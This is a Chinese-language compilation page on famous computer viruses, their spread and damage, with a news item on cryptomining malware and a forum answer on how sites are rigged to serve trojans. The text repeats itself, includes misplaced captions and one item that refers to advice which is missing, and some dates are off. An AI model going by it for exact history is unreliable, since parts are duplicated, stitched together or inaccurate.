尼姆達病毒的傳播使得很多伺服器癱瘓，伺服器資源都被蠕蟲佔用。從這種角度來說，尼姆達實質上也是分布式拒絕服務攻擊（DDOS）的一種。
5.SQL Slammer/藍寶石
2003年1月下旬，一種新型伺服器病毒開始在網路上傳播。由於很多電腦沒有做好防範措施，幾個重要的大型電腦系統最終癱瘓。美國銀行的ATM機無法使用，西雅圖的911服務中心被迫中斷，美國大陸航空公司的訂票系統癱瘓，部分航班被迫取消。
這場網路風暴的罪魁禍首就是SQL Slammer，也稱藍寶石病毒。在補丁和病毒專殺軟體出現之前，這種病毒在全球已經造成10億美元的損失[資料：Lemos]。藍寶石病毒的傳播過程十分迅速。在感染第一台伺服器幾分鍾後，病毒在短時間內開始成倍的復制。15分鍾後，網上的重要伺服器中有半數被感染[資料：Boutin]。
Slammer病毒給我們留下了深刻的教訓，及時打補丁和升級殺毒軟體是不夠的，黑客們會利用他們能找到的任何漏洞進行攻擊，尤其是那些不為人知的漏洞。在中毒之前做好防毒工作很重要，同時，及時做好備份工作，防止最糟糕的情況出現也必不可少。
時間問題
有些黑客程序會潛伏在中毒的電腦上，直到特定時間才爆發。下面是一些在特定時間觸發的病毒。
「耶路撒冷」病毒只在13號逢星期五這天觸發，破壞受害者的電腦數據。
「米開朗琪羅」病毒在1992年3月6日爆發，米開朗琪羅本人誕生於1475年3月6日。
「切爾諾貝利」病毒爆發於1999年4月26日，這一天是切爾諾貝利核泄漏事件13周年。
Nyxem病毒會在每個月的第三天爆發，然後清除用戶的檔案文件。
4.諾維格病毒
這種諾維格（Novarg）病毒也稱MyDoom，它同樣會在用戶操作系統中留下後門。這種病毒後來產生了很多變種，最初的諾維格病毒有兩個觸發程序。
第一個程序在2004年2月1日開始進行發動拒絕式服務攻擊（DoS），第二個程序則在2004年2月12日停止病毒的自我復制。但是在病毒停止攻擊以後，留下的後門程序仍然具有危害性[資料：Symantec]。
沒過多久，病毒的再次爆發給幾個搜索引擎公司造成致命打擊。和其他病毒一樣，諾維格病毒會搜索被感染用戶電腦里的聯系人名單，然後發送郵件。另外，它還會向搜索引擎發送搜索請求然後向搜索到的郵箱發郵件。這導致谷歌之類的搜索引擎收到數以百萬計的搜索請求，使得他們的服務變得非常緩慢甚至伺服器癱瘓[資料：Sullivan]。
諾維格病毒通過郵件和P2P網路進行傳播。根據網路安全公司MessageLabs的資料顯示，當時平均每12封郵件中就會有1封攜帶這種病毒[資料：BBC]。和求職信病毒類似，諾維格病毒也會進行郵件發信人偽裝，這使通過郵件查詢病毒來源變得極其困難。
3.震盪波和網路天空
有時病毒製造者很容易就能逃脫追查。但是當局也有可能通過追溯病毒傳播的途徑找到源頭。震盪波（Sasser）和網路天空（NetSky）就是這樣被發現的。
一個名為Sven Jaschan的17歲德國人製造了這兩種病毒並將它們散播到網路上。雖然兩種病毒的感染方式完全不同，但是相似的代碼使專家認定它們出自一人之手。
震盪波病毒通過微軟的系統漏洞感染電腦。與其他蠕蟲不同的是，它不通過郵件傳播，一旦電腦感染上病毒，病毒會自動尋找有漏洞的電腦系統，然後遠程操縱那些電腦下載病毒。這種病毒可以搜索任意的IP地址段來尋找潛在的受害者。病毒會修改用戶的操作系統使用戶無法關機，只能強行斷電。
網路天空病毒通過郵件和網路進行傳播。它同樣進行郵件地址欺騙和附件進行自我復制[資料：CERT]。在病毒進行傳播的時候，會同時進行拒絕式服務攻擊（DoS），以此控制帶寬資源。Sophos的專家認為，網路天空和它的變種曾經一度感染了互聯網上1/4的電腦[資料：Wagner]。
Sven Jaschan並沒進監獄，只是被判處1年零3個月的緩刑，由於當時他年齡未滿18周歲，從而逃過一劫。
2.Leap-A/Oompa-A
也許您曾看過蘋果電腦的這個廣告，裡面有賈斯汀·朗扮演的「我是蘋果」和約翰·霍奇曼扮演的「我是電腦」。霍奇曼扮演的電腦因為一種病毒崩潰，他同時指出，目前有超過10萬種病毒在侵襲您的電腦。而賈斯汀則說，那些病毒只感染裝有Windows系統的電腦，對蘋果電腦不起作用。
大多數情況下，這話說得沒錯。蘋果引其」不公開，既安全「的設計理念，避開了很多病毒的危害。蘋果的硬體和操作系統基本上是一個封閉系統，因為它們都是蘋果公司自己生產的。因此也可以說蘋果的操作系統是個」不公開「系統。一直以來，蘋果電腦在家用電腦市場占據著第二位的位置，不過離PC極還有很大距離。可想而知，針對蘋果電腦的病毒不可能產生像Windows病毒那麼大的危害。
但是這並未阻止一位蘋果黑客的出現。2006年，Leap-A病毒，也稱Oompa-A病毒出現。它利用iChat聊天程序在蘋果電腦之間進行傳播。當病毒感染蘋果電腦後，它會自動搜索iChat的聯系人列表並向其中的好友發送信息，信息中附帶一個看起來像是不完整的jpeg圖像的損壞附件。
病毒並不會對電腦產生太大的危害，它證明了即使是蘋果電腦也有可能中毒的。隨著蘋果機的越來越流行，越來越多的針對蘋果機的病毒將會出現。
1.風暴蠕蟲
我們榜單中的最後一種病毒是可怕的風暴蠕蟲（Storm Worm）。專家們在2006年底最終確認了這種病毒。公眾之所以稱呼這種病毒為風暴蠕蟲是因為有一封攜帶這種病毒的郵件標題為「風暴襲擊歐洲，230人死亡」。但是安全公司不是這樣為其命名的。賽門鐵克把這種病毒命名為Peacomm，而McAfee則把它命名為Nuwar。這是因為2001年已經有一種病毒被命名為W32.Storm.Worm。而這種病毒和2006年的病毒是完全不同的。
風暴蠕蟲是一種木馬程序。有些風暴蠕蟲的變種會把電腦變成僵屍或」肉雞「。一旦電腦受到感染，就很容易受到病毒傳播者的操縱。有些黑客利用風暴蠕蟲製造僵屍網路，用來在互聯網上發送垃圾郵件。
許多風暴蠕蟲的變種會誘導用戶去點擊一些新聞或者新聞視頻的虛假鏈接。病毒的製造者經常把病毒郵件的主題改為當前時事新聞。2008年北京奧運會前夕，一種新的蠕蟲變種通過郵件開始傳播，郵件標題一般為「中國發生大災難」或者「中國死亡人數最多的地震」等等。郵件里一般有關於相關話題的視頻或者新聞鏈接，用戶點擊鏈接後，會自動下載蠕蟲病毒[資料：McAfee]。
很多新聞社和博客認為風暴蠕蟲是近些年來最嚴重的一種病毒。安全公司Postini宣稱，截止到2007年，已經發現超過2億封郵件攜帶了這種病毒[資料：Gaudin]。幸運的是，不是所有的郵件都導致電腦感染。
雖然風暴蠕蟲傳播很廣，但是它並不是最難清除的病毒。只要用戶時刻記得更新殺毒軟體和警惕陌生用戶發來的郵件或鏈接，一般都能防止這種病毒的感染。

F. 新電腦病毒來襲:中招電腦會偷偷的挖礦給黑客賺錢

據華爾街日報消息，一種名為Adylkuzz的病毒正在蔓延，和近日在全球爆發的WannaCry勒索病毒不同的是，該病毒不會鎖定用戶的屏幕，也不會對用戶的電腦進行加密，但它能夠在用戶毫不知情的情況下悄然占據電腦處理器資源，偷偷生產一種類似於比特幣的數字貨幣。

據美國知名網路安全公司Proofpoint披露，該病毒早就在兩星期以前就開始傳播了，截至本周三已在全球感染了超過15萬台的計算機，在一次攻擊案例中，該病毒已經為黑客賺取了2.2萬美元的非法獲利。

實在做不到以上幾點的話，用戶可以先斷網再開機，就是先拔掉網線然後開機，這樣一來基本能夠避免被勒索病毒感染，同時注意備份重要數據，不要打開不明鏈接、文件和郵件，盡量想辦法給自己的電腦打上安全補丁。

原創聲明：本文(不含圖片)由文棟說自媒體網站原創，享有獨立版權，如需轉載敬請帶上本段版權，本站對一切轉載不保留版權的行為追究法律責任！

G. 電腦病毒 都是黑客做的嗎

我來解答吧

為什麼許多黑客要入侵網站呢？很多情況下就是為了掛馬，他們入侵網站後通過修改頁面源代碼達到掛馬的目的（為什麼要入侵網站伺服器掛馬呢？是因為一般網站流量較大，瀏覽的人多，中馬的概率也就高了）。掛在網頁上的網馬大多數是溢出程序（也就是利用電腦中的軟體或者操作系統溢出漏洞獲得系統許可權使得木馬能夠下載到本地的程序），這樣你在瀏覽網頁時，木馬就神不知鬼不覺的在你電腦中運行了（這樣的代碼通過頁面是看不見的，但是查看源文件可以看到諸如<iframesrc="">的掛馬代碼）

這些病毒實際上就是一行行代碼組成的可以執行惡意行為的程序，所以當然是黑客做的啦（很多業內人士甚至通過編寫病毒賣給他人發家致富奔小康了呢！）

實際上掛馬的頁面很少是病毒，絕大部分是木馬。他們的區別是：病毒單純為了破壞，而木馬大多是為了竊取敏感信息，且隱藏性較強。

說實話，木馬還真會提示他的主人。樓主可以去網上搜一些木馬（比如熾天使遠程式控制制），你會發現，在配置客戶端（就是讓你中的木馬）時，軟體會讓你輸入你的IP，這樣當別人中木馬後，木馬自動連接你指定的IP，這樣就能將數據包傳輸給黑客了。

至於黑客怎樣控制別人電腦，實際上目前絕大部分木馬都會提供很豐富的功能如文件傳輸，CMD執行，注冊表編輯，進程查看結束，屏幕傳輸，攝像頭截取，音頻截取等等等等。黑客就是通過這些控制電腦的。

下面貼一張某木馬服務端（就是黑客手上的控制軟體）的圖片

H. 報】最可怕的10大電腦病毒，你知道嗎

熊貓燒香

I. 最可怕的10大電腦病毒，你知道嗎

對於很多人來說，電腦中毒就是一場噩夢。硬碟數據被清空，網路連接被掐斷，好好的機器變成了毒源，開始傳染其他電腦。當然，如果你的電腦沒有中過毒，也許會認為這不值得大驚小怪。但您可千萬不要掉以輕心，有報告顯示，僅2008年，電腦病毒在全球造成的經濟損失就已高達85億美元[資料來源：MarketWatch]。電腦病毒可以說是網路世界最嚴重的的危害。

電腦病毒已經出現很多年了。1949年，科學家約翰·馮·諾依曼聲稱，可以自我復制的程序並非天方夜譚[資料來源：Krebs]。那時計算機科學剛剛起步，可是已經有人想出破壞電腦系統的基本原理。不過直到幾十年後，黑客們才開始真正編制病毒。

雖然早有人在大型電腦上製造出類似病毒的程序，但直到個人電腦開始普及，計算機病毒才引起人們的注意。一個名為弗雷德·科恩（Fred Cohen）的博士生首先把這種修改電腦設置並能自我復制的程序稱為病毒，這個稱呼一直沿用到今天。
下面我們將帶您回顧史上最厲害的十種病毒。
10.梅莉莎病毒
1998年春天，大衛·L·史密斯（David L. Smith）運用Word軟體里的宏運算編寫了一個電腦病毒，這種病毒可以通過郵件進行傳播。史密斯把它命名為梅麗莎（Melissa），佛羅里達州的一位舞女的名字[資料來源：CNN]。

梅麗莎病毒一般通過郵件傳播，郵件的標題通常為「這是給你的資料，不要讓任何人看見」。一旦收件人打開郵件，病毒就會自動向用戶通訊錄的前50位好友復制發送同樣的郵件。
史密斯把它放在網路上之後，這種病毒開始迅速傳播。美國聯邦調查局給國會的報告顯示，梅麗莎對政府部分和私營部門的網路造成了毀滅性打擊，美國聯邦政府很重視這件事[資料：FBI]。電子郵件流量的劇增迫使很多公司停止了郵件服務，直到病毒得到控制才重新開放。
經過漫長的審判，史密斯被叛20個月的監禁，同時被處5000美元罰款。另外，未經法庭允許，史密斯不得擅自使用網路[資料：BBC]。梅麗莎雖然沒有對社會造成很大的危害，但它是第一個引起全社會關注的電腦病毒。
9.愛蟲病毒
梅麗莎病毒爆發一年後，菲律賓出現了一種新的病毒。與梅麗莎不同的是，這次出現的是蠕蟲病毒，具有自我復制功能的獨立程序。這個病毒的名字叫「我愛你（ILOVEYOU）」。
和梅麗莎相似，愛蟲病毒最初也是通過郵件傳播。標題通常會說明，這是一封來自您的崇拜者的表白信。郵件中的附件則是罪魁禍首。這種蠕蟲病毒最初的文件名為LOVE-LETTER-FOR-YOU.TXT.vbs。後綴名vbS表明黑客是使用VB腳本編寫的這段程序[資料：McAfee]。

根據殺毒廠商McAfee的報告顯示，愛蟲病毒具有以下攻擊手段：

它會自我復制，在硬碟的各個分區都有隱藏備份。
它會在用戶的注冊表裡面添加新內容。
自我復制，然後自動替換某些文件。
通過郵件以及聊天客戶端進行傳播
自動下載一個名為WIN-BUGSFIX.EXE的補丁，這個補丁會竊取用戶私密信息並發送給黑客。
到底是誰製造了這種病毒？很多人懷疑是菲律賓的奧尼爾?狄?古茲曼。由於當時菲律賓沒有制定電腦破壞的相關法律，當局只得以盜竊罪的名義傳訊了狄?古茲曼。古茲曼沒有承認或者否認關於病毒的指控，最終由於缺乏確鑿的證據，當局被迫釋放了古茲曼。根據媒體估計，愛蟲病毒造成大約100億美元的損失。
8.求職信病毒

求職信病毒(Klez)病毒傳播的里程碑。這種病毒最早出現於2001年，幾個月後出現了很多變種。最常見的求職信病毒通過郵件進行傳播，然後自我復制，同時向受害者通訊錄里的聯系人發送同樣的郵件。
一些變種求職信病毒甚至會對電腦產生致命性破壞。根據版本不同，求職信病毒可以分為普通病毒，蠕蟲或者木馬。有些甚至會強行關閉殺毒軟體或者偽裝成病毒清除工具[資料：Symantec]。
求職信病毒在網路上出現不久，黑客們就對它進行了改進，使它傳染性更強。與很多病毒一樣，求職信病毒也會使用受害者的通訊錄向聯系人發送同樣的郵件。另外，它還能從中毒者的通訊錄里隨機抽選一個人，將該郵件地址填入發信人的位置。這就是郵件地址欺騙——看起來郵件是您的某個熟人寄來的，實際上卻是其他人發的。
偽裝郵件地址是為了達到以下幾個目的。首先，收信人就算阻止了發件人也沒用，因為郵件是其他人發來的。其次，由於用戶無法辨別郵件是否是垃圾郵件，求職信病毒會在短時間內造成收信人郵箱堵塞。另外，由於發信人是郵件列表中的聯系人，所以很多人都會打開郵件而導致中毒。
7.紅色代碼和紅色代碼Ⅱ
紅色代碼（Code Red）和紅色代碼Ⅱ出現於2001年的夏天。這兩種蠕蟲病毒都利用了在Windows 2000和Windows NT中存在的一個操作系統漏洞，即緩沖區溢出漏洞，當系統緩存器接收到超過它處理范圍的數據時，數據會溢出覆蓋相鄰的存儲單元，使其他程序不能正常運行，甚至造成系統崩潰。
最初的紅色代碼蠕蟲病毒利用分布式拒絕服務攻擊（DDOS）對白宮網站進行攻擊。也就是說，所有感染紅色代碼病毒的電腦都會在同一時間內連接白宮網站，使伺服器超載，網站崩潰。
安裝了Windows 2000系統的電腦如果中了紅色代碼Ⅱ，機子就會變成「肉雞」。蠕蟲病毒會在系統中建立後門程序，從而允許遠程用戶登陸和控制。計算機術語就是系統控制，對於電腦的主人來說，這是個噩耗。病毒的散發者可以利用受害者的電腦獲取某些信息，甚至利用這台電腦進行犯罪活動。受害者不僅要為癱瘓的電腦發愁，還有可能因為成為別人的替罪羊。
雖然Windows NT更易受紅色代碼的感染，但是病毒在這些機器上的危害並不是很嚴重。使用Windows NT的網路伺服器中毒後可能經常死機，但不會產生其它危害。與Windows 2000的用戶相比，這其實算不了什麼。
微軟隨後放出補丁修復了Windows 2000和Windows NT中的安全漏洞，至此，病毒不再肆虐。但是補丁並沒有清除電腦里的病毒，這需要用戶自己處理。
我應該怎麼做？
發現電腦中毒後，您應該怎麼做呢？這需要視具體情況而定。很多殺毒軟體會自動把病毒清除。有的病毒會破壞你的數據或者資料，這時就需要恢復備份了。經常對系統進行備份是很重要的。對於紅色代碼來說，格式化然後用備份恢復電腦是個不錯的方法。有些病毒會在電腦上安裝一些惡意軟體，這時候僅僅是防病毒掃描是不夠的。
6.尼姆達

另外一種病毒也在2001年出現，這就是尼姆達（Nimda，管理員（admin）的倒拼）。尼姆達通過互聯網迅速傳播，是那時傳播最快的病毒。TruSecure公司首席技術官彼得?蒂皮特表示，尼姆達從開始散播到大規模爆發只用了22分鍾。
Symbian骷髏病毒感染手機，導致手機出現一堆骷髏圖片。
SMobile 操作系統
Symbian骷髏病毒感染手機，導致手機出現一堆骷髏圖片。
尼姆達病毒的主要攻擊目標是互聯網伺服器。當病毒感染電腦後，它的主要目的是利用網路進行傳播。尼姆達可以通過郵件等多種方式進行傳播，這也是它能夠迅速大規模爆發的原因。
尼姆達病毒會在用戶的操作系統中建立一個後門程序，使侵入者擁有當前登陸賬戶的許可權。換言之，如果用戶使用的是受限賬戶登陸的話，侵入者的許可權也將是受限的。當然，如果用戶使用管理員賬戶，侵入者也將擁有管理員許可權。
尼姆達病毒的傳播使得很多伺服器癱瘓，伺服器資源都被蠕蟲佔用。從這種角度來說，尼姆達實質上也是分布式拒絕服務攻擊（DDOS）的一種。
5.SQL Slammer/藍寶石

2003年1月下旬，一種新型伺服器病毒開始在網路上傳播。由於很多電腦沒有做好防範措施，幾個重要的大型電腦系統最終癱瘓。美國銀行的ATM機無法使用，西雅圖的911服務中心被迫中斷，美國大陸航空公司的訂票系統癱瘓，部分航班被迫取消。
這場網路風暴的罪魁禍首就是SQL Slammer，也稱藍寶石病毒。在補丁和病毒專殺軟體出現之前，這種病毒在全球已經造成10億美元的損失[資料：Lemos]。藍寶石病毒的傳播過程十分迅速。在感染第一台伺服器幾分鍾後，病毒在短時間內開始成倍的復制。15分鍾後，網上的重要伺服器中有半數被感染[資料：Boutin]。
Slammer病毒給我們留下了深刻的教訓，及時打補丁和升級殺毒軟體是不夠的，黑客們會利用他們能找到的任何漏洞進行攻擊，尤其是那些不為人知的漏洞。在中毒之前做好防毒工作很重要，同時，及時做好備份工作，防止最糟糕的情況出現也必不可少。
時間問題
有些黑客程序會潛伏在中毒的電腦上，直到特定時間才爆發。下面是一些在特定時間觸發的病毒。
「耶路撒冷」病毒只在13號逢星期五這天觸發，破壞受害者的電腦數據。
「米開朗琪羅」病毒在1992年3月6日爆發，米開朗琪羅本人誕生於1475年3月6日。
「切爾諾貝利」病毒爆發於1999年4月26日，這一天是切爾諾貝利核泄漏事件13周年。
Nyxem病毒會在每個月的第三天爆發，然後清除用戶的檔案文件。
4.諾維格病毒
這種諾維格（Novarg）病毒也稱MyDoom，它同樣會在用戶操作系統中留下後門。這種病毒後來產生了很多變種，最初的諾維格病毒有兩個觸發程序。
第一個程序在2004年2月1日開始進行發動拒絕式服務攻擊（DoS），第二個程序則在2004年2月12日停止病毒的自我復制。但是在病毒停止攻擊以後，留下的後門程序仍然具有危害性[資料：Symantec]。
沒過多久，病毒的再次爆發給幾個搜索引擎公司造成致命打擊。和其他病毒一樣，諾維格病毒會搜索被感染用戶電腦里的聯系人名單，然後發送郵件。另外，它還會向搜索引擎發送搜索請求然後向搜索到的郵箱發郵件。這導致谷歌之類的搜索引擎收到數以百萬計的搜索請求，使得他們的服務變得非常緩慢甚至伺服器癱瘓[資料：Sullivan]。
諾維格病毒通過郵件和P2P網路進行傳播。根據網路安全公司MessageLabs的資料顯示，當時平均每12封郵件中就會有1封攜帶這種病毒[資料：BBC]。和求職信病毒類似，諾維格病毒也會進行郵件發信人偽裝，這使通過郵件查詢病毒來源變得極其困難。
3.震盪波和網路天空
有時病毒製造者很容易就能逃脫追查。但是當局也有可能通過追溯病毒傳播的途徑找到源頭。震盪波（Sasser）和網路天空（NetSky）就是這樣被發現的。
一個名為Sven Jaschan的17歲德國人製造了這兩種病毒並將它們散播到網路上。雖然兩種病毒的感染方式完全不同，但是相似的代碼使專家認定它們出自一人之手。
震盪波病毒通過微軟的系統漏洞感染電腦。與其他蠕蟲不同的是，它不通過郵件傳播，一旦電腦感染上病毒，病毒會自動尋找有漏洞的電腦系統，然後遠程操縱那些電腦下載病毒。這種病毒可以搜索任意的IP地址段來尋找潛在的受害者。病毒會修改用戶的操作系統使用戶無法關機，只能強行斷電。
網路天空病毒通過郵件和網路進行傳播。它同樣進行郵件地址欺騙和附件進行自我復制[資料：CERT]。在病毒進行傳播的時候，會同時進行拒絕式服務攻擊（DoS），以此控制帶寬資源。Sophos的專家認為，網路天空和它的變種曾經一度感染了互聯網上1/4的電腦[資料：Wagner]。
Sven Jaschan並沒進監獄，只是被判處1年零3個月的緩刑，由於當時他年齡未滿18周歲，從而逃過一劫。
2.Leap-A/Oompa-A

也許您曾看過蘋果電腦的這個廣告，裡面有賈斯汀·朗扮演的「我是蘋果」和約翰·霍奇曼扮演的「我是電腦」。霍奇曼扮演的電腦因為一種病毒崩潰，他同時指出，目前有超過10萬種病毒在侵襲您的電腦。而賈斯汀則說，那些病毒只感染裝有Windows系統的電腦，對蘋果電腦不起作用。
大多數情況下，這話說得沒錯。蘋果引其」不公開，既安全「的設計理念，避開了很多病毒的危害。蘋果的硬體和操作系統基本上是一個封閉系統，因為它們都是蘋果公司自己生產的。因此也可以說蘋果的操作系統是個」不公開「系統。一直以來，蘋果電腦在家用電腦市場占據著第二位的位置，不過離PC極還有很大距離。可想而知，針對蘋果電腦的病毒不可能產生像Windows病毒那麼大的危害。
但是這並未阻止一位蘋果黑客的出現。2006年，Leap-A病毒，也稱Oompa-A病毒出現。它利用iChat聊天程序在蘋果電腦之間進行傳播。當病毒感染蘋果電腦後，它會自動搜索iChat的聯系人列表並向其中的好友發送信息，信息中附帶一個看起來像是不完整的jpeg圖像的損壞附件。
病毒並不會對電腦產生太大的危害，它證明了即使是蘋果電腦也有可能中毒的。隨著蘋果機的越來越流行，越來越多的針對蘋果機的病毒將會出現。
1.風暴蠕蟲

我們榜單中的最後一種病毒是可怕的風暴蠕蟲（Storm Worm）。專家們在2006年底最終確認了這種病毒。公眾之所以稱呼這種病毒為風暴蠕蟲是因為有一封攜帶這種病毒的郵件標題為「風暴襲擊歐洲，230人死亡」。但是安全公司不是這樣為其命名的。賽門鐵克把這種病毒命名為Peacomm，而McAfee則把它命名為Nuwar。這是因為2001年已經有一種病毒被命名為W32.Storm.Worm。而這種病毒和2006年的病毒是完全不同的。
風暴蠕蟲是一種木馬程序。有些風暴蠕蟲的變種會把電腦變成僵屍或」肉雞「。一旦電腦受到感染，就很容易受到病毒傳播者的操縱。有些黑客利用風暴蠕蟲製造僵屍網路，用來在互聯網上發送垃圾郵件。
許多風暴蠕蟲的變種會誘導用戶去點擊一些新聞或者新聞視頻的虛假鏈接。病毒的製造者經常把病毒郵件的主題改為當前時事新聞。2008年北京奧運會前夕，一種新的蠕蟲變種通過郵件開始傳播，郵件標題一般為「中國發生大災難」或者「中國死亡人數最多的地震」等等。郵件里一般有關於相關話題的視頻或者新聞鏈接，用戶點擊鏈接後，會自動下載蠕蟲病毒[資料：McAfee]。
很多新聞社和博客認為風暴蠕蟲是近些年來最嚴重的一種病毒。安全公司Postini宣稱，截止到2007年，已經發現超過2億封郵件攜帶了這種病毒[資料：Gaudin]。幸運的是，不是所有的郵件都導致電腦感染。
雖然風暴蠕蟲傳播很廣，但是它並不是最難清除的病毒。只要用戶時刻記得更新殺毒軟體和警惕陌生用戶發來的郵件或鏈接，一般都能防止這種病毒的感染。